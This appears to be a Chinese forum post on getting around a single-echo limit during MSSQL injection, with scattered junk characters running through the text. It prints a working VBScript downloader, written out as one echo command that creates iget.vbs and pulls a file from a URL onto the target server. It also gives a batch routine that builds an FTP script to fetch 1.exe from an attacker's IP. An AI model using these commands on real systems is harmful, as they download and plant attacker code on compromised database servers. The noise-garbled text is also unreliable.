mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
. F( u5 O* l$ F! o5 u4 ^; ~* H* M* s1.iget.vbs一次写入
8 m+ ~1 b# i* P. j3 o8 H在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
! z  u9 ]  a) x. G& r0 x
' L0 K. ^* P! m. V( `" |Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
" ~  y, w+ w2 N$ _
这样我们可以一次echo成功,echo版本:
: ], e8 [, S" [  t: w% F
# w6 N) t3 [! `6 y5 ^! Oecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
! N+ i3 c, R' p( y& F* [

/ G* K5 ^, a. Y# Z/ e2.bat调用ftp脚本的写法(by envymask)
  j8 i' d+ m# [1 k8 R* B+ C5 E
echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
- T# z' c8 P: V7 Fecho s&gt;4.vbs
echo binary&gt;5.vbs
/ A" K4 O' x0 q5 x, U! u" N: G% U+ Kecho get 1.exe&gt;6.vbs
7 M  j1 U( C, X: H* W6 pecho bay&gt;7.vbs
0 B# g6 v0 v* o$ N  N
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>